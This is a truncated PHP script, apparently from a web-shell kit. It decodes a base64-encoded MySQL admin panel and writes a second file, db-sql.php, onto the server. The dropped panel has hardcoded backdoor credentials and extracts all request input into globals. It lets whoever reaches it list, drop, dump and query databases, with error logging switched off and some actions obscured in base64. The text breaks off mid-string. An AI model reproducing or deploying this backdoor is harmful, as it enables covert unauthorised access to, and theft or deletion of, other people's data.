A8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php", "w+");
$write = fwrite($file, "<?\r\n\$PASSWORD = \"root_xhahax\";\r\n\$USERNAME = \"xhahax\";\r\nif ( function_exists('ini_get') ) {\r\n\t\$onoff = ini_get('register_globals');\r\n} else {\r\n\t\$onoff = get_cfg_var('register_globals');\r\n}\r\nif (\$onoff != 1) {\r\n\t@extract(\$HTTP_SERVER_VARS, EXTR_SKIP);\r\n\t@extract(\$HTTP_COOKIE_VARS, EXTR_SKIP);\r\n\t@extract(\$HTTP_POST_FILES, EXTR_SKIP);\r\n\t@extract(\$HTTP_POST_VARS, EXTR_SKIP);\r\n\t@extract(\$HTTP_GET_VARS, EXTR_SKIP);\r\n\t@extract(\$HTTP_ENV_VARS, EXTR_SKIP);\r\n}\r\n\r\nfunction logon() {\r\n\tglobal \$PHP_SELF;\r\n\tsetcookie( \"mysql_web_admin_username\" );\r\n\tsetcookie( \"mysql_web_admin_password\" );\r\n\tsetcookie( \"mysql_web_admin_hostname\" );\r\n\techo \"<table width=100% height=100%><tr><td><center>\\n\";\r\n\techo \"<table cellpadding=2><tr><td><center>\\n\";\r\n\techo \"<table cellpadding=20><tr><td><center>\\n\";\r\n\techo \"<h1>MySQL Interface By S4MP4H</h1>\\n\";\r\n\techo \"<form action='\$PHP_SELF'>\\n\";\r\n\techo \"<input type=hidden name=action value=bG9nb25fc3VibWl0>\\n\";\r\n\techo \"<table cellpadding=5 cellspacing=1>\\n\";\r\n\techo \"<tr><td class=\\\"new\\\">Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\\n\";\r\n\techo \"<tr><td class=\\\"new\\\">Username </td><td> <input type=text name=username></td></tr>\\n\";\r\n\techo \"<tr><td class=\\\"new\\\">Password </td><td> <input type=password name=password></td></tr>\\n\";\r\n\techo \"</table><p>\\n\";\r\n\techo \"<input type=submit value='Enter'>\\n\";\r\n\techo \"<input type=reset value='Clear'><br>\\n\";\r\n\techo \"</form>\\n\";\r\n\techo \"</center></td></tr></table>\\n\";\r\n\techo \"</center></td></tr></table>\\n\";\r\n\techo \"<p><hr width=300>\\n\";\r\n\techo \"</center></td></tr></table>\\n\";\r\n}\r\n\r\nfunction logon_submit() {\r\n\tglobal \$username, \$password, \$hostname ,\$PHP_SELF;\r\n\tif(\$hostname =='')\r\n\t\t\$hostname = 'localhost';\r\n\tsetcookie( \"mysql_web_admin_username\", \$username );\r\n\tsetcookie( \"mysql_web_admin_password\", \$password );\r\n\tsetcookie( \"mysql_web_admin_hostname\", \$hostname );\r\n\techo \"<META HTTP-EQUIV=Refresh CONTENT='0; URL=\$PHP_SELF?action=bGlzdERCcw=='>\";\r\n}\r\n\r\nfunction echoQueryResult() {\r\n\tglobal \$queryStr, \$errMsg;\r\n\tif( \$errMsg == \"\" ) \$errMsg = \"Success\";\r\n\tif( \$queryStr != \"\" ) {\r\n\t\techo \"<table cellpadding=5>\\n\";\r\n\t\techo \"<tr><td>Query</td><td>\$queryStr</td></tr>\\n\";\r\n\t\techo \"<tr><td>Result</td><td>\$errMsg</td></tr>\\n\";\r\n\t\techo \"</table><p>\\n\";\r\n\t}\r\n}\r\n\r\nfunction listDatabases() {\r\n\tglobal \$mysqlHandle, \$PHP_SELF;\r\n\techo \"<h1>Databases List</h1>\\n\";\r\n\techo \"<form action='\$PHP_SELF'>\\n\";\r\n\techo \"<input type=hidden name=action value=createDB>\\n\";\r\n\techo \"<input type=text name=dbname>\\n\";\r\n\techo \"<input type=submit value='Create Database'>\\n\";\r\n\techo \"</form>\\n\";\r\n\techo \"<hr>\\n\";\r\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\r\n\t\$pDB = mysql_list_dbs( \$mysqlHandle );\r\n\t\$num = mysql_num_rows( \$pDB );\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\$dbname = mysql_dbname( \$pDB, \$i );\r\n\t\techo \"<tr>\\n\";\r\n\t\techo \"<td>\$dbname</td>\\n\";\r\n\t\techo \"<td><a href='\$PHP_SELF?action=listTables&dbname=\$dbname'>Tables</a></td>\\n\";\r\n\t\techo \"<td><a href='\$PHP_SELF?action=dropDB&dbname=\$dbname' onClick=\\\"return confirm('Drop Database \\'\$dbname\\'?')\\\">Drop</a></td>\\n\";\r\n\t\techo \"<td><a href='\$PHP_SELF?action=dumpDB&dbname=\$dbname' onClick=\\\"return confirm('Dump Database \\'\$dbname\\'?')\\\">Dump</a></td>\\n\";\r\n\t\techo \"</tr>\\n\";\r\n\t}\r\n\techo \"</table>\\n\";\r\n}\r\n\r\nfunction createDatabase() {\r\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\r\n\tmysql_create_db( \$dbname, \$mysqlHandle );\r\n\tlistDatabases();\r\n}\r\n\r\nfunction dropDatabase() {\r\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\r\n\tmysql_drop_db( \$dbname, \$mysqlHandle );\r\n\tlistDatabases();\r\n}\r\n\r\nfunction listTables() {\r\n\tglobal \$mysqlHandle, \$dbname, \$PHP_SELF;\r\n\techo \"<h1>Tables List</h1>\\n\";\r\n\techo \"<p class=location>\$dbname</p>\\n\";\r\n\techoQueryResult();\r\n\techo \"<form action='\$PHP_SELF'>\\n\";\r\n\techo \"<input type=hidden name=action value=createTable>\\n\";\r\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\r\n\techo \"<input type=text name=tablename>\\n\";\r\n\techo \"<input type=submit value='Create Table'>\\n\";\r\n\techo \"</form>\\n\";\r\n\techo \"<form action='\$PHP_SELF'>\\n\";\r\n\techo \"<input type=hidden name=action value=query>\\n\";\r\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\r\n\techo \"<input type=text size=120 name=queryStr>\\n\";\r\n\techo \"<input type=submit value='Query'>\\n\";\r\n\techo \"</form>\\n\";\r\n\techo \"<hr>\\n\";\r\n\t\$pTable = mysql_list_tables( \$dbname );\r\n\tif( \$pTable == 0 ) {\r\n\t\t\$msg = mysql_error();\r\n\t\techo \"<h3>Error : \$msg</h3><p>\\n\";\r\n\t\treturn;\r\n\t}\r\n\t\$num = mysql_num_rows( \$pTable );\r\n\techo \"<table cellspacing=1 cellpadding=5>\\n\";\r\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\r\n\t\t\$tablename = mysql_tablename( \$pTable, \$i );\r\n\t\techo \"<tr>\\n\";\r\n\t\techo \"<td>\\n\";\r\n\t\techo \"\$tablename\\n\";\r\n\t\techo \"</td>\\n\";\r\n\t\techo \"<td>\\n\";\r\n\t\techo \"<a href='\$PHP_SELF?action=viewSchema&dbname=\$dbname&tablename=\$tablename'>Schema</a>\\n\";\r\n\t\techo \"</td>\\n\";\r\n\t\techo \"<td>\\n\";\r\n\t\techo \"<a href='\$PHP_SELF?action=dmlld0RhdGE=&dbname=\$dbname&tablename=\$tablename'>Data</a>\\n\";\r\n\t\techo \"</td>\\n\";\r\n\t\techo \"<td>\\n\";\r\n\t\techo \"<a href='\$PHP_SELF?action=dropTable&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Drop Table \\'\$tablename\\'?')\\\">Drop</a>\\n\";\r\n\t\techo \"</td>\\n\";\r\n\t\techo \"<td>\\n\";\r\n\t\techo \"<a href='\$PHP_SELF?action=dumpTable&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Dump Table 